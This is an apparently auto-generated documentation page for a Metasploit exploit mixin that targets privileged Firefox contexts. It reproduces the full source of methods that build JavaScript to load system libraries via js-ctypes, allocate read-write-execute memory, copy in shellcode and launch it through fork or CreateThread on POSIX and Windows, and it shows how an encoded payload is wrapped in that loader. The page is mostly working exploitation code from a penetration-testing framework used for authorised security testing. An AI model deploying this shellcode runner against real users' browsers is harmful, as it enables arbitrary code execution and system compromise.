Module: Msf::Exploit::Remote::FirefoxPrivilegeEscalation

Included in:
FirefoxAddonGenerator
Defined in:
lib/msf/core/exploit/remote/firefox_privilege_escalation.rb

Instance Method Summary collapse

Instance Method Details

#exec_shellcode_sourceString

Puts the shellcode into memory, adds X flag, and calls it The js function throws on error

Returns:

  • (String)

    javascript code containing the execShellcode() javascript fn


16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
# File 'lib/msf/core/exploit/remote/firefox_privilege_escalation.rb', line 16

def exec_shellcode_source
  %Q|
    var execShellcode = function(shellcode, bytes) {
      Components.utils.import("resource://gre/modules/ctypes.jsm");
      var execPosix = function() {
        var RWX = 7, ANON_PRIVATE = 4098;
        Components.utils.import("resource://gre/modules/ctypes.jsm");
        var LIBS = [
          "/usr/lib/libSystem.B.dylib",
          "libc.so.6",
          "libc.so"
        ];

        var i, lib;
        for (i in LIBS) {
          try {
            lib = ctypes.open(LIBS[i]);
            break;
          } catch (e) {}
        }
        if (!lib) throw new Error("Could not find lib in ["+LIBS+"]");

        var mmap = lib.declare('mmap',
          ctypes.default_abi,   /* calling convention */
          ctypes.voidptr_t,     /* return type */
          ctypes.voidptr_t,     /* address (NULL here) */
          ctypes.size_t,        /* num bytes */
          ctypes.int,           /* PROT_READ OR PROT_WRITE OR PROT_EXEC */
          ctypes.int,           /* MAP_ANONYMOUS OR MAP_PRIVATE */
          ctypes.int,           /* fd (0) */
          ctypes.int            /* offset (0) */
        );
        var memcpy = lib.declare('memcpy',
          ctypes.default_abi,   /* calling convention */
          ctypes.voidptr_t,     /* return type */
          ctypes.voidptr_t,     /* dest */
          ctypes.voidptr_t,     /* src */
          ctypes.size_t         /* size to copy */
        );
        var fork = lib.declare('fork',
          ctypes.default_abi,   /* calling convention */
          ctypes.int            /* return type */
        );
        var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);
        var cstr = ctypes.jschar.array()(shellcode);
        //var bytes = ctypes.char.array()(shellcode).length-1;
        memcpy(buff, cstr, bytes);
        /* there is probably a better way to do this */
        var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/);
        if (!m) throw new Error("Could not find address of buffer.");
        if (fork() == 0) {
          ctypes.FunctionType(ctypes.default_abi, ctypes.void_t).ptr(parseInt(m[1], 16))();
        }
      };

      var execWindows = function() {
        var RWX = 0x40, ANON_PRIVATE = 0x1000;
        var Kernel32 = ctypes.open("Kernel32.dll");
        var VirtualAlloc = Kernel32.declare('VirtualAlloc',
          ctypes.winapi_abi,    /* calling convention */
          ctypes.voidptr_t,     /* return type */
          ctypes.voidptr_t,     /* start address (NULL here) */
          ctypes.size_t,        /* num bytes */
          ctypes.unsigned_long, /* alloc type */
          ctypes.unsigned_long  /* protection flags */
        );
        var RtlMoveMemory = Kernel32.declare('RtlMoveMemory',
          ctypes.winapi_abi,    /* calling convention */
          ctypes.voidptr_t,     /* return type */
          ctypes.voidptr_t,     /* dest */
          ctypes.voidptr_t,     /* src */
          ctypes.size_t         /* size to copy */
        );
        var CreateThread = Kernel32.declare('CreateThread',
          ctypes.winapi_abi,    /* calling convention */
          ctypes.voidptr_t,     /* return type */
          ctypes.voidptr_t,     /* lpThreadAttributes */
          ctypes.voidptr_t,     /* dwStackSize */
          ctypes.voidptr_t,     /* lpStartAddress copy */
          ctypes.voidptr_t,     /* lpParameter */
          ctypes.voidptr_t,     /* dwCreationFlags */
          ctypes.voidptr_t      /* lpThreadId */
        );
        var buff = VirtualAlloc(null, shellcode.length, ANON_PRIVATE, RWX);
        var cstr = ctypes.jschar.array()(shellcode);
        RtlMoveMemory(buff, cstr, bytes);
        var m = buff.toString().match(/"0x([0-9a-fA-F]+)"/);
        if (!m) throw new Error("Could not find address of buffer.");
        var fn = ctypes.FunctionType(ctypes.winapi_abi, ctypes.void_t).ptr(parseInt(m[1], 16));
        CreateThread(null, null, fn, null, null, null);
      };

      var i, errs = [], fns = [execWindows, execPosix];
      for (i in fns) {
        try {
          fns[i](shellcode);
          return true;
        } catch(e) { errs.push(e.message); }
      }

      throw new Error("All methods failed. Exceptions encountered:\\n["+errs+"]");
    };
  |
end

#js_target?Boolean

Returns the user has selected a javascript (non-native) target

Returns:

  • (Boolean)

    the user has selected a javascript (non-native) target


134
135
136
# File 'lib/msf/core/exploit/remote/firefox_privilege_escalation.rb', line 134

def js_target?
  target.arch[0] == ARCH_FIREFOX
end

#run_payloadString

For a javascript payload, this simply returns the payload source For a native payload, this calls the correct methods to alloc RWX memory and execute shellcode

Returns:

  • (String)

    javascript source code that kicks off the execution of the payload


124
125
126
127
128
129
130
131
# File 'lib/msf/core/exploit/remote/firefox_privilege_escalation.rb', line 124

def run_payload
  return payload.encoded if js_target?
  %Q|
    #{exec_shellcode_source}
    var sc = unescape("#{Rex::Text.to_unescape(payload.encoded)}");
    execShellcode(sc, #{payload.encoded.bytes.to_a.length});
  |
end